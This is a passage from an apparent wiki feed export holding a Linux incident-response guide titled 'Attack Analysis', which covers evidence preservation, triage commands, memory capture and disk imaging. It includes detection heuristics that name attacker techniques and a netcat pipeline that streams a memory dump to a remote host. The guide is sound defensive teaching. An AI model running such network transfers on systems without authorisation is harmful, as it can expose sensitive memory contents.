* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=265</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=265"/>
		<updated>2026-10-02T23:35:20Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
